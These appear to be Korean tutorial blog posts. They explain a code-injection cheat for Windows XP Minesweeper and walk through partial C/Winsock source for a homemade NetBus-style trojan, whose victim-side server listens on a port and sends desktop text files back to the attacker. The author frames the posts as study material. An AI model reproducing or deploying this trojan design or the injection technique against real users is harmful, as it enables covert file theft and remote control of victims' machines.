  mov    ebp, esp
  sub    esp, __LOCAL_SIZE

ebp를 백업시킨후 esp값을 ebp에 집어넣어 하나의 스택프레임을 만듭니다. 그리고
__LOCAL_SIZE값만큼 스택을 할당합니다. 이 부분은 특별리버싱 카테고리에서 자세히 나와 있습니다.

- push  number
  mov   eax, 0x01002F80
  call  eax

여기가 바로 본코드입니다. 스택프레임을 만들고 스택을 할당하고 나면 이제 인자로 받은 number값을 푸쉬하고 0x01002F80 값을 eax에 넣어 eax를 호출합니다.여기서 0x01002F80주소는 xp지뢰찾기의 지뢰를 찾아내는 함수의 시작위치를 의미합니다.

이 함수가 호출되고 나면 xp지뢰찾기는 타일중에서 지뢰가 담긴 부분을 number값 비트맵으로 출력시키게 됩니다.

- mov esp, ebp
  pop ebp
  ret 4

만들어 놓은 스택프레임을 해제하고 이전 스택프레임으로 되돌아 가기 위해 백업해놓은 ebp값을 꺼냅니다. 그리고 인자를 하나 받았으므로 ret 4를 동해 리턴과 동시에 스택을 정리합니다. 역시 이부분도 특별리버싱 카테고리에 설명되어 있습니다.

끝입니다. 생각보다 간단하지요? 나머지 어셈블리 함수들도 이런식으로 구현되어 있습니다. 다음 함수를 살펴봅시다.

- DWORD* stoptime(DWORD killtimer);

시간을 멈추라는 코드가 적혀있는 함수입니다. 인자로는 killtimer함수의 주소를 받습니다.

앞에서 설명을 하였으므로 프롤로그와 에필로그 코드는 생략하겠습니다. 바로 메인코드를 봅시다.

-  push 1
   push DWORD PTR DS:[0x01005B24]
   mov   eax, killtimer
   call eax

KillTimer함수는 핸들값과 타이머의 ID값을 인자로 받아 호출하는 함수입니다. xp버전의 지뢰찾기에서 핸들값 0x01005B24에 저장되어 있으며 만들어진 타이머의 ID값도 1로 되어있는 것을 확인할 수 있습니다. 그러므로 이값에 맞추어 KillTimer함수를 호출하도록 합니다.

이 함수가 호출되면 winxp지뢰찾기의 타이머가 파괴되어 버리므로 WM_TIMER메세지를 받지 못해 더이상 시간이 증가하지 않게 됩니다.

- DWORD* initializationTime(void)

이 함수는 동작중인 타이머의 값을 0으로 초기화 시켜주는 코드가 적혀 있는 함수입니다. 메인 코드를 살펴봅시다.

- mov DWORD PTR DS:[0x0100579C],0
  mov eax,0x010028B5
  call eax

타이머의 값이 들어있는 0x0100579C주소에 0을 대입한 후 0x010028B5를 호출합니다. 0x010028B5주소는 타이머의 값을 이용해 시간을 출력해주는 xp지뢰찾기 함수의 시작주소값입니다.

- mov esp, ebp
  pop ebp
  ret

그리고 이번 함수는 인자가 없으므로 ret 4가 아닌 그냥 ret을 쓰도록 합니다.

- DWORD* startTime(DWORD setTimer)

앞의 stoptime함수로 인해 멈춘 시간을 다시 흐르게 하도록 하는 코드가 적혀있는 함수입니다. 인자는 setTimer함수의 주소값을 받습니다.

- push 0
  push 0x3E8
  push 1
  push DWORD PTR DS:[0x01005B24]
  mov eax,setTimer
  call eax

setTimer함수는 총 4개의 인자를 값으로 받는데 차례대로 핸들,ID,단위,함수포인터 입니다. xp지뢰찾기는 핸들이 0x01005B24에 저장되어 있고 게임이 시작할 때 ID값이 1인 타이머, 단위는 1000밀리세컨드(0x3E8), 함수 포인터는 없이 생성합니다. 그러므로 우리도 똑같이 타이머를 만들어 xp지뢰찾기가 다시 WM_TIMER메세지를 받을 수 있도록 합시다.

DWORD* poweroverwhelming(void)

이 함수는 지뢰가 밟아도 게임오버가 되지 않도록 해주는 코드가 적혀있는 함수입니다. 함수명인 poweroverwhelming는 스타의 무적 치트키에서 따온 것입니다.

- mov DWORD PTR DS:[0x01003591],0x1BEB9090

0x01003591에 있는 값을 0x1BEB9090로 수정합니다. 단순해 보이지만 이 0x01003591주소에 들어있는 값은 원본의 코드를 의미합니다. 즉 이 값을 바꾼다는 것은 우리가 올리디버거에서 프로그램의 코드를 바꾸는 것이랑 똑같다고 보시면 됩니다. 쉽게 말해 프로그램의 흐름을 바꾸는 것이지요. 당연하지만 그냥은 이러한 작업이 안되기 때문에 우리는 이 부분의 보안 설정을 바꾸어야 합니다. 보안 설정을 바꾸는 부분은 앞 함수에서 나온 VirtualProtectEx함수에서 하게 됩니다.

기존의 0x01003591에 들어있는 값은

-> 0x16EB006A 즉

push 0

JMP SHORT 010035AB 코드가 적혀있는데 이를 0x1BEB9090로 변경하면

NOP

NOP

JMP SHORT 010035B0 로 변경되어 집니다.

이렇게 코드흐름을 변경시키면 지뢰를 밟았음에도 불구하고 게임오버가 되지 않고 정상적으로 프로그램이 진행되게 됩니다.

- DWORD* Cancel_poweroverwhelming(void)

앞의 무적 함수의 기능을 취소하는 코드가 적혀 있는 함수입니다. 단순하게 그냥 코드를 원상태로 변경시켜주면 됩니다.

- mov DWORD PTR DS:[0x01003591],0x16EB006A

0x01003591에 들어있는 값을 0x16EB006A로 수정합니다. 즉 원래의 값으로 복구시키는 것이지요. 물론 이부분도 보안 설정이 필요합니다.

- DWORD* Victory(void)

말그대로 승리하는 코드가 적힌 함수입니다. 

- push 1
  mov eax,0x0100347C
  call eax

xp버전의 지뢰찾기는 지뢰를 다 찾게 되면 1값을 푸쉬한 후 0x0100347C가 시작주소인 함수를 호출하게 됩니다. 이 함수가 호출되면 지뢰찾기의 마스코트가 안경을 쓰며 걸린 시간에 따라 랭킹에 등록됩니다.

- DWORD* Gameover(void)

이번에는 말 그대로 패배하는 코드가 적힌 함수입니다.

- push 0
  mov eax,0x0100347C
  call eax

0x0100347C가 시작주소인 함수를 호출한다는 점은 Victory함수와 동일하지만 Gameover함수는 0을 push하고 함수를 호출한다는 점에서 Victory와 차이가 납니다.

이 함수가 호출되고 나면 지뢰찾기의 마스코트 눈이 X자가 되며 시간이 멈추고 더 이상 타일들을 누를 수 없게 됩니다.

여기까지가 제가 구현한 함수들입니다. 다음 포스팅에서는 본 코드를 포스팅하도록 하겠습니다.

Posted by englishmath

안녕하십니까. 오랜만에 포스팅을 하게 되는군요.

이번에 포스팅할 것은 제가 만든 지뢰찾기 핵의 알고리즘입니다. 해당하는 지뢰찾기는 윈도우 xp버전의 지뢰찾기이며 알고리즘은 다음과 같습니다.

1. 먼저 지뢰찾기의 프로세스의 PID를 가져와 그 PID에 해당하는 프로세스를 연다

2. 열려진 프로세스에 가상의 메모리를 할당한다.

3. 할당된 메모리에 쉘코드 혹은 특정 함수의 코드를 삽입한다.

4. 코드가 적힌 메모리를 스레드로 만든 후 그 스레드를 실행시킨다.

5. 가상 메모리의 할당을 해제하고 프로세스를 닫는다.

여기까지가 지뢰찾기 핵의 알고리즘입니다. 이 때 할당된 메모리에 삽입할 코드 내용에 따라 어떠한 기능을 할지 정해지며 이러한 기법을 코드 인젝션 기법이라고 합니다.

그리고 제가 구현한 기능은 아래와 같습니다.

1. 숨겨진 지뢰를 보여주는 기능

2. 시간을 멈추는 기능

3. 시간을 초기화 시키는 기능

4. 지뢰를 밟아도 죽지 않도록 하는 기능

5. 바로 승리하는 기능

6. 바로 패배하는 기능

다음 포스팅에선 쓰인 함수들을 한 번 살펴보겠습니다. 참고로 이번 프로그램은 리소스가 없습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 넷버스를 한 번 동작시켜보겠습니다.

공격자의 넷버스 프로그램입니다. 외양은 오리지널 넷버스랑 흡사합니다.

주소를 입력하고 Connect버튼을 누르면 연결을 시도합니다.

감염자로부터 연결이 실패했으면 위와 같이 나타납니다.

이번에는 patch를 실행해봅시다.

코드의 listen함수를 호출하고 나면 위와 같이 보안 경고 창이 뜹니다. listen함수에 의해 12345 포트가 열려버렸으므로 이 포트에 대한 통신을 허용할 것인가 아닌가를 정할 수 있습니다. 

지금은 localhost로 통신을 시도하는 것이므로 딱히 액세스를 허용하지 않아도 문제가 없지만 다른 호스트와 통신을 할 경우 감염자의 PC에서 액세스를 허용시키지 않는다면 기능이 정상적으로 작동하지 않을 수 있습니다.

TCPView프로그램으로 살펴보면 patch프로그램에서 소켓이 12345포트로 데이터를 받을 준비가 되어있다고 뜹니다. State를 보면 LISTENING라고 되어 있는것이 보이시지요?

이번에는 공격자에서 연결을 시도해보겠습니다. patch가 동작되어 있는 상태에서 localhost로 통신을 시도하면 연결이 되었다는 문구와 함께 감염자의 PC에 명령을 내릴 수 있는 버튼들이 활성화됩니다.

TCPview를 살펴보면 소켓이 하나 더 생성된 것을 볼 수 있으며 그 소켓은 localhost와 통신을 하는 것을 볼 수 있습니다. localhost의 55477포트에서 데이터를 전송하면 자신의 12345포트에서 데이터를 받는 것이지요. 반대로 자신의 12345포트에서 데이터를 전송하면 localhost는 55477포트로 데이터를 받습니다.

이번에는 한 번 파일을 찾아보겠습니다. 파일찾기 버튼을 누르면 우리가 리소스에서 만든 대화상자가 호출됩니다. 여기서 텍스트파일 버튼을 누르면 시간이 조금 지난 후 파일을 다 찾았다는 메세지박스가 나타납니다.

생성된 파일을 한 번 열어봅시다.

감염자의 바탕화면에 있는 txt파일을 모두 찾는 것을 볼 수 있습니다.

이번에는 찾은 파일 경로를 이용하여 복사를 시켜보겠습니다. 파일 복사 버튼을 눌러 대화상자를 호출한 후 복사할 파일 경로를 적고 확인 버튼을 누르면 시간이 조금 지난 후 복사된 파일이 넷버스 복사물이란 폴더 안에 생성됩니다. 

넷버스 복사물 폴더를 살펴보시면 경로명과 일치하는 파일이 복사된 것을 확인할 수 있습니다.

그리고 앞에서 말씀드렸다시피 감염자의 IP가 사설IP면 공격자와 감염자가 같은 네트워크 상에 있지 않는 한 위의 프로그램으론 통신이 불가능합니다.

추가로 TCPview 프로그램 대신 cmd의 netstat -a명령어를 이용하여 통신 상태를 확인할 수 있습니다.

위의 사진은 포트가 열린 상태입니다.

위의 사진은 연결이 된 상태입니다. patch프로그램을 재시작했기 때문에 포트번호는 앞에 나온 TCPview와 다를 수 있습니다.

그리고 마지막으로 다시 한번 강조하지만 절대 악용하지 마시길 바랍니다.

이상으로 포스팅을 마치겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 감염자의 PC에서 쓰이는 패치의 코드를 한 번 살펴보겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

  #include "resource.h"

  #pragma comment(lib, "Ws2_32.lib")

  #define WM_SOCKET WM_USER+1

  typedef struct SR_Str

 {

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];


  }SR_String;

이 부분은 공격자(넷버스)의 코드랑 동일하므로 생략하겠습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

윈도우 프로시저함수를 선언합니다.

- int _strcmp(char *str1);

  void txtfileSend(void);

  void txtfileCopy(void);

앞서 설명한 함수들을 선언합니다.

- SOCKET G_Socket,G_AcceptS;

클라이언트(공격자) 코드하고는 다르게 소켓 변수를 2개 선언합니다. 이유는 서버측(피해자)에서는 연결 요청을 받는 소켓과 연결을 할 소켓, 이렇게 2개의 소켓이 필요하기 때문입니다.

- SR_String G_String;

앞에서 정의한 구조체 변수를 선언합니다.

- int G_txtfileSend_i = 0;

  TCHAR G_PATH[500] = L"";

파일들의 경로를 찾을 때 그 경로를 저장할 TCHR형 전역변수와 파일 경로의 개수를 저장할 int형 전역변수를 선언합니다.

WinMain함수는 간단하니 생략하겠습니다. 바로 윈도우 프로시저 함수를 살펴봅시다.

- WSADATA socketdata = {0};

  struct sockaddr_in socketaddr = {0};

소켓통신에 필요한 변수들을 선언합니다. 이 부분은 넷버스랑 동일하니 설명은 생략하겠습니다.

- u_long Mode = 0;

ioctlsocket함수를 사용하기 위해 선언한 변수입니다.

- int soketsize,Recvstr;

accept함수 사용을 위한 soketsize변수와 recv함수로 받은 데이터 크기를 저장할 변수 Recvstr를 선언합니다.

- TCHAR user[256] = L"";

  DWORD usersize;

GetUserName함수를 사용하기 위해 선언한 변수입니다..

- switch (message)

case WM_CREATE:

WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- GetUserName(user,&usersize);

GetUserName함수를 호출하여 현재 감염자의 사용자 계정 명을 구해서 user에 저장시킵니다.

- wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

사용자 명을 이용하여 G_PATH변수에 바탕화면의 경로를 집어넣습니다.

- WSAStartup(MAKEWORD(2,2),&socketdata);

  G_Socket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

winsock DLL을 초기화시키고 소켓을 생성합니다.

- socketaddr.sin_family = AF_INET;

  socketaddr.sin_addr.S_un.S_addr = htons(INADDR_ANY);

  socketaddr.sin_port = htons(12345);

socketaddr구조체의 각 멤버에 값을 넣습니다. 다만 이 소켓은 요청을 하는 소켓이 아닌 요청을 받는 소켓이기 때문에 S_addr멤버의 값에 htons(INADDR_ANY)값을 넣어줍니다. INADDR_ANY는 자기 자신의 ip주소를 자동으로 찾아주는 매크로 상수를 의미합니다.

추가로 INADDR_ANY 상수를 멤버값에 집어넣은 뒤 bind함수를 사용하면 각각 다른 ip에서 전송한 데이터를 이 소켓에서 받을 수가 있습니다.

- bind(G_Socket,(struct sockaddr *)&socketaddr,sizeof(socketaddr));

bind함수를 사용하여 G_Socket을 바인딩합니다. 즉 socketaddr구조체의 멤버변수 값을 이용하여 소켓에 주소와 포트번호를 등록한다는 것이지요. 공격자의 소켓하고는 다르게 이 프로그램은 요청을 받는 소켓을 만들어야 하기 때문에 bind함수를 써서 등록시키는 것입니다. 인자는 공격자(넷버스) 코드에 쓰인 Connect함수와 동일합니다.

- WSAAsyncSelect(G_Socket,hWnd,WM_SOCKET,FD_ACCEPT);

WM_SOCKET메세지를 받아 FD_ACCEPT이벤트를 처리할 수 있도록 하기 위해WSAAsyncSelect함수를 호출합니다.

- listen(G_Socket,SOMAXCONN);

listen함수를 호출합니다. 이 함수를 자세히 살펴봅시다.

이 함수는 해당 소켓의 상태를 수신 상태로 만들어주는 역할을 합니다. 첫 번째 인자는 해당 소켓이며 두번 째 인자는 대기 큐의 크기값입니다.

대기큐라는 것은 여러 소켓으로부터 연결요청이 들어왔을 경우 순서대로 처리가 될대까지 서버가 만들어 놓은 대기실에서 대기를 하게 되는데 이 때 이 대기실을 대기 큐라고 합니다. 그리고 그 대기큐는 크기를 설정할 수 있는데 이 때 인자로 SOMAXCONN값을 받으면 대기큐는 지정할 수 있는 최대 크기로 만들어집니다.

아무튼 이 함수가 성공적으로 호출이 되면 해당 소켓은 듣기 상태인 LISTEN상태가 되어집니다.

- accept(G_Socket,NULL,NULL);

듣기 상태가 된 소켓을 인자로 받아 요청을 받는 함수인 accept함수를 호출합니다.앞에 호출한 WSAAsyncSelect함수에 의해 비블로킹 방식으로 지정된 소켓으로 accept함수를 호출하였으므로 나중에 연결요청을 받으면 WM_SOCKET메세지의FD_ACCEPT이벤트에서 처리를 하게 됩니다.

한가지 특이한 점이 있다면 첫번째 소켓을 제외한 나머지 인자값들은 NULL로 주었다는 점입니다. 왜냐하면 이 부분의 accept함수에서는 실제로 연결할 목적이 아닌 요청만을 받아들기 위해 사용하였기 때문에 따로 인자값을 주지 않았습니다. 그리고 나중에 실제로 요청이 들어왔을 경우 FD_ACCEPT이벤트에서 다시 accept함수를 호출하여 실제로 요청된 소켓과 연결합니다.

- case WM_SOCKET:

switch(WSAGETSELECTEVENT(lParam))

WM_SOCKET메세지를 받았을 때 이벤트에 따라 처리를 다르게 합니다.

- case FD_ACCEPT:

앞의 accept함수에 의해 요청을 받게 된 경우 아래의 코드를 수행합니다.

- soketsize = sizeof(socketaddr);

socketaddr구조체의 크기를 soketsize에 저장시킵니다.

- G_AcceptS = accept((SOCKET)wParam,(struct sockaddr *)&socketaddr,&soketsize);

요청이 들어온 소켓(wParam)과의 연결을 위해 다시 accept함수를 호출합니다. 인자는 소켓구조체의 포인터와 소켓구조체 크기의 포인터입니다.

함수가 성공적으로 호출되면 연결된 소켓은 G_AcceptS 소켓이 됩니다. 즉 앞의 G_Socket은 요청을 받기 위한 1차 소켓(LISTEN)이며 G_AcceptS 소켓은 실제로 연결된 소켓을 의미합니다. 그러므로 공격자와 서로 통신을 할 경우 G_AcceptS 소켓을 이용합니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

연결이 된 G_AcceptS소켓이 FD_READ와 FD_CLOSE 이벤트를 받을 수 있도록 설정합니다.

- case FD_READ:

WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,0);

ioctlsocket(G_AcceptS,FIONBIO,&Mode);

memset(&G_String,0,sizeof(G_String));

Recvstr = recv(G_AcceptS,(char *)&G_String,sizeof(G_String),MSG_WAITALL);

if(Recvstr < 0)

break;

클라이언트(공격자)로부터 데이터를 받았을 경우 위와 같이 코드를 수행합니다. 원리는 넷버스에서 설명한 것과 동일합니다.

- switch(_strcmp(G_String.str))

요청한 내용에 따라 처리를 다르게 해줍니다.

- case 0:

str멤버 변수의 값이 filefind - txt 일 경우 아래의 코드를 수행합니다.

- txtfileSend();

  strcpy(G_String.str,"filefind - txt");

  send(G_AcceptS,(char *)&G_String,sizeof(G_String),NULL);

txtfileSend함수를 호출하여 텍스트 파일들의 경로를 찾아 G_String의 멤버 변수에 저장시키고 str멤버변수에 filefind - txt값을 넣어 클라이언트(공격자)로 데이터를 전송합니다.

- GetUserName(user,&usersize);

  wsprintf(G_PATH,L"C:\\Users\\%s\\Desktop\\",user);

  G_txtfileSend_i = 0;

전송이 완료되면 G_PATH와 G_txtfileSend_i를 초기값으로 되돌립니다.

- case 1:

str멤버 변수의 값이 Capture 일 경우의 처리부문인데 아직 구현하진 않았습니다.

- case 2:

txtfileCopy();

str멤버 변수의 값이 filecopy - txt인 경우 txtfileCopy함수를 호출합니다.

- case 3:

str멤버 변수의 값이 filecopy - mallocComplete인 경우의 처리 부문인데 아직 구현하진 않았습니다.

- case 999:

그 외의 값이라면 아무런 처리를 하지 않습니다.

- WSAAsyncSelect(G_AcceptS,hWnd,WM_SOCKET,FD_READ | FD_CLOSE);

하나의 메세지처리가 끝나면 다시 G_AcceptS를 비블로킹으로 전환시킵니다.

이상으로 patch 코드 포스팅을 마치겠습니다.

다음 포스팅에선 만든 넷버스와 patch프로그램을 한 번 사용해보겠습니다.

Posted by englishmath

안녕하십니까 이번 포스팅에서는 넷버스(공격자) 소스 코드를 포스팅하겠습니다.

다만 앞 포스팅에서도 언급하였듯이 다음과 같은 주의사항을 꼭 숙지해주시기 바랍니다.

1. 이번에 소개할 프로그램은 악성기능이 내포되어 있으므로 마음대로 악용을 하지 않습니다.

2. 위 사항을 어겨 불이익을 받을 시 이 블로그는 책임을 지지 않습니다.

3. 악성행위의 목적이 아닌 공부 목적으로 제작한 것이므로 독자분들은 위의 주의사항을 숙지하시고 협조 부탁드립니다.

자 이제 한 번 코드를 하나씩 살펴봅시다.

- #include <winsock2.h>

윈도우 소켓과 관련된 함수를 쓰기 위해 윈속 헤더파일을 선언합니다.

- #pragma comment(lib, "Ws2_32.lib")

소켓 관련 라이브러리인 Ws2_32.lib을 링커에 추가합니다.

- #define connectbutton 1

  #define filefindbutton 2

  #define capturebutton 3

  #define filecopybutton 4

넷버스에 쓰이는 버튼들의 ID를 define문으로 정의합니다.

#define WM_SOCKET WM_USER+1

소켓 관련 메세지를 받기 위해 WM_SOCKET이란 메세지를 WM_USER를 이용하여 정의합니다. 이 때 WM_USER은 사용자가 메세지를 정의할 때 사용하며 기본값은 400입니다. 즉 위의 WM_SOCKET을 디버깅으로 살펴보면 401로 정의되어집니다.

typedef struct SR_Str

{

char str[100];

char str2[256];

char txtStrings[500][256];

int size;

char string[500000];

}SR_String;

소켓 통신에 사용할 메세지를 구조체로 정의합니다. 각각 다른 메세지를 받아 통신을 함으로써 처리를 다양하게 해주기 위해 선언하였습니다.

각 멤버변수의 역할은 다음과 같습니다.

str1 -> 받은 명령을 구분할 때 사용합니다.

str2 -> 256 이하의 문자열을 처리할때 사용합니다.

txtStrings -> 파일들의 경로를 저장받기 위한 배열(최대 500개, 경로 문자열 제한은 256)입니다.

size -> 파일 크기를 받는 멤버인데 현재 코드에서는 직접적으로 사용하지 않습니다.

string -> 파일의 내용을 복사할 때 파일의 내용을 저장받기 위한 배열이며 최대 50만 바이트까지 저장할 수 있습니다.

- LRESULT WINAPI WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);

  BOOL WINAPI FilefindDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

  BOOL WINAPI FilecopyDlgProc(HWND hWnd,UINT Message,WPARAM wParam,LPARAM lParam);

윈도우 프로시저와 대화상자 프로시저를 선언합니다.

- void Sconnect(char *address,int port);

  int _strcmp(char *str1);

  void createTXT(char str[][256]);

  void copyTXT(void);

앞에서 설명드린 함수들을 선언합니다.

- HWND G_connectB,G_combobox,G_CResult,G_Port,G_findfile,G_Capture,G_fileCopy;

넷버스에 쓰인 버튼들의 핸들을 저장하기 위해 전역변수로 선언합니다.

- HWND G_Mainhwnd,G_filefindDlg,G_fileCopyDlg;

메인 윈도우의 핸들과 대화상자의 핸들들을 저장하기 위해 전역변수로 선언합니다.

- HINSTANCE G_hInstance;

WinMain의 HINSTANCE 인자값을 전역변수로 쓰기 위해 사용합니다. 

- SOCKET G_Socket;

소켓통신을 위해 소켓형 변수를 전역변수로 선언합니다.

- SR_String G_String;

앞에서 정의한 구조체를 전역변수로 선언합니다.

WinMain의 함수는 딱히 설명할 부분이 없으므로 그냥 생략하겠습니다. WndProc함수를 살펴봅시다.

- HDC hdc;

  PAINTSTRUCT ps;

WM_PAINT 메세지에서 코드사용을 위해 선언한 변수들입니다.

- int str_len,Recvstr;

유니코드를 멀티바이트로 변환하기 위한 str_len과 소켓 통신으로 인해 받은 데이터의 크기를 저장할 변수 Recvstr를 선언합니다.

- u_long Mode = 0;

ioctlsocket함수의 인자로 사용하기 위해 Mode란 변수를 선언과 동시에 0으로 값을 줍니다.

- TCHAR Wide_address[100] = L"",CResultStr[100] = L"", TCHAR Port_address[100] = L"";

유니코드로 읽어온 IP주소를 저장할 변수인 Wide_address와 통신의 결과를 출력할 때 쓰일 CResultStr변수, 그리고 유니코드로 읽어온 port값을 저장할 변수인 Port_address를 선언합니다.

- char Mult_address[100] = "";

멀티바이트로 변환한 IP주소를 저장할 변수를 선언합니다.

- case WM_CREATE:

윈도우에서 WM_CREATE메세지를 받았을 때 아래의 코드를 수행합니다.

- G_Mainhwnd = hWnd;

현재 핸들을 전역변수에 저장시킵니다.

- G_combobox = CreateWindow(L"combobox",NULL,WS_CHILD | WS_VISIBLE | WS_VSCROLL | CBS_DROPDOWN,210,10,150,100,hWnd,NULL,NULL,NULL);

IP주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 콤보박스 윈도우에 사용된 옵션은 다음과 같습니다.

WS_VSCROLL -> CBS_DROPDOWN옵션으로 생성된 버튼을 누를시 목록을 출력

CBS_DROPDOWN -> 콤보박스의 옆에 역삼각형 버튼을 생성

- G_connectB = CreateWindow(L"button",L"Connect",WS_CHILD | WS_VISIBLE,370,40,80,20,hWnd,(HMENU)connectbutton,NULL,NULL);

소켓통신을 시작한다는 명령을 받기 위한 Connect버튼을 생성합니다. 이때 ID는 define에서 정의한 값입니다.

- G_CResult = CreateWindow(L"static",L"NO connection",WS_CHILD | WS_VISIBLE,0,237,455,20,hWnd,NULL,NULL,NULL);

소켓 통신의 결과를 사용자에게 알려주기 위해 static윈도우를 생성합니다. 기본값은 NO connection입니다.

- G_Port = CreateWindow(L"edit",L"12345",WS_CHILD | WS_VISIBLE | WS_BORDER,400,10,50,20,hWnd,NULL,NULL,NULL);

포트주소를 입력받기 위해 콤보박스 윈도우를 생성합니다. 기본값은 12345입니다.

- G_findfile = CreateWindow(L"button",L"파일찾기",WS_CHILD | WS_VISIBLE,0,100,105,25,hWnd,(HMENU)filefindbutton,NULL,NULL);

  G_Capture = CreateWindow(L"button",L"화면캡쳐",WS_CHILD | WS_VISIBLE,0,130,105,25,hWnd,(HMENU)capturebutton,NULL,NULL);

  G_fileCopy = CreateWindow(L"button",L"파일복사",WS_CHILD | WS_VISIBLE,0,160,105,25,hWnd,(HMENU)filecopybutton,NULL,NULL);

감염자의 소켓에 명령을 내리기 위해 사용하는 버튼들을 생성합니다. 이 중 화면캡쳐는 구현하지 않았습니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

모든 버튼들을 생성시킨 후 감염자의 소켓에 명령을 내리는 버튼들을 비활성화 시킵니다. 이 버튼들은 나중에 감염자와의 통신이 성공하면 활성화 됩니다.

- case WM_DESTROY:

PostQuitMessage(0);

윈도우 창이 파괴되면 프로그램을 종료합니다.

- case WM_COMMAND:

switch(LOWORD(wParam))

각각 버튼을 눌렀을 때의 처리입니다.

- case connectbutton:

감염자와 통신을 시도하기 위해 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- SendMessage(G_connectB,WM_GETTEXT,100,(LPARAM)&Wide_address);

G_connectB에 WM_GETTEXT메세지를 보내 현재 버튼에 적용된 텍스트를 가져와 Wide_address에 저장시킵니다.

- if(lstrcmp(Wide_address,L"Connect") == 0)

가져온 텍스트가 Connect일 경우 즉 사용자가 Connect가 적힌 connectbutton을 눌렀을 경우 아래의 코드를 수행합니다.

- EnableWindow(G_connectB,FALSE);

connectbutton을 비활성화시킵니다.

- SendMessage(G_combobox,WM_GETTEXT,100,(LPARAM)Wide_address);

G_combobox로부터 IP주소를 가져와 Wide_address에 저장시킵니다.

- wsprintf(CResultStr,L"connecting to %s...",Wide_address);

Wide_address값을 이용하여 CResultStr배열에 connecting to %s...형식으로 문자열을 저장시킵니다.

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"connecting");

connectbutton의 텍스트를 connecting으로 바꿉니다.

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)CResultStr);

G_CResult(static)컨트롤의 문자열을 CResultStr에 저장된 문자열로 수정합니다.

- str_len = WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),NULL,NULL,NULL,NULL);

 WideCharToMultiByte(949,NULL,Wide_address,lstrlen(Wide_address),Mult_address,str_len,NULL,NULL);

유니코드로 저장된 IP주소를 멀티바이트로 변환시켜 Mult_address에 저장합니다.

- SendMessage(G_Port,WM_GETTEXT,100,(LPARAM)Port_address);

G_Port로부터 입력된 포트번호를 가져와 Port_address에 저장시킵니다.

- Sconnect(Mult_address,_wtoi(Port_address));

Sconnect함수를 호출합니다. 이 때 인자는 멀티바이트로 변환된 IP주소와 포트번호입니다. 그런데 여기서 받은 포트번호는 유니코드 문자열이므로 이를 int형으로 바꿔주기 위해 _wtoi함수를 사용하였습니다.

- else

사용자가 connectbutton을 눌렀을 때의 connectbutton텍스트가 Connect가 아닐 경우 아래의 코드를 수행합니다. 즉 이부분은 공격자와 감염자의 연결을 끊는 부분입니다. 

- SendMessage(G_connectB,WM_SETTEXT,0,(LPARAM)L"Connect");

connectbutton의 텍스트를 원래 기본값인 Connect로 복구시킵니다.

- shutdown(G_Socket,SD_SEND);

연결된 소켓에 SD_SEND메세지를 보내 소켓의 연결을 끊습니다.

- closesocket(G_Socket);

  WSACleanup();

연결을 끊은 소켓을 종료하고 WSACleanup함수를 호출하여 WSAStartup함수 사용을 중지합니다. 

- SendMessage(G_CResult,WM_SETTEXT,0,(LPARAM)L"NO connection");

G_CResult의 문자열을 기본값인 NO connection으로 복구시킵니다.

- EnableWindow(G_findfile,FALSE);

  EnableWindow(G_Capture,FALSE);

  EnableWindow(G_fileCopy,FALSE);

감염자의 소켓에 명령을 보내는 버튼들을 비활성화합니다.

- case filefindbutton:

 DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG1),hWnd,FilefindDlgProc);

감염자의 PC에서 파일을 찾으라는 명령어를 보내기 위해 파일 찾기 버튼을 눌렀을 때해당 대화상자를 호출합니다. 다만 대화상자가 열린 상태에서 메인 윈도우를 조작할 수 없게 하기 위해 모달형 대화상자로 호출하였습니다.

모달형 대화상자를 호출하려면 DialogBox함수를 사용합니다.

- case capturebutton:

화면캡쳐 버튼을 눌렀을 경우의 처리부문인데 아직 구현하지 않았습니다.

- case filecopybutton:

DialogBox(G_hInstance,MAKEINTRESOURCE(IDD_DIALOG2),hWnd,FilecopyDlgProc);

찾은 파일 경로를 이용하여 파일을 복사시키라는 명령어를 보내기 위해 파일 복사 버튼을 눌렀을 때 해당 대화상자를 모달형으로 호출합니다.

- case WM_SOCKET:

소켓 관련 이벤트를 받았을 때 윈도우는 앞의 WSAAsyncSelect함수에 의해 WM_SOCKET메세지를 발생시키게 됩니다. 이 때 아래의 코드를 수행합니다.

- switch(WSAGETSELECTEVENT(lParam))

lParam값을 WSAGETSELECTEVENT함수를 사용해 이벤트를 추출하고 그 이벤트에 따라 각각의 코드가 수행됩니다.

추가로 설명드리자면 WM_SCOKET메세지를 받았을 경우 wParam은 해당 이벤트가 발생한 소켓을 나타내며 lParam은 발생한 소켓의 이벤트 혹은 에러메세지를 나타냅니다. 

- case FD_CONNECT:

FD_CONNECT이벤트가 발생했을 경우 아래의 코드를 수행합니다. FD_CONNECT이벤트는 서버로 연결을 시도했을 때 발생하는 이벤트입니다.

- if(WSAGETSELECTERROR(lParam) == 0)

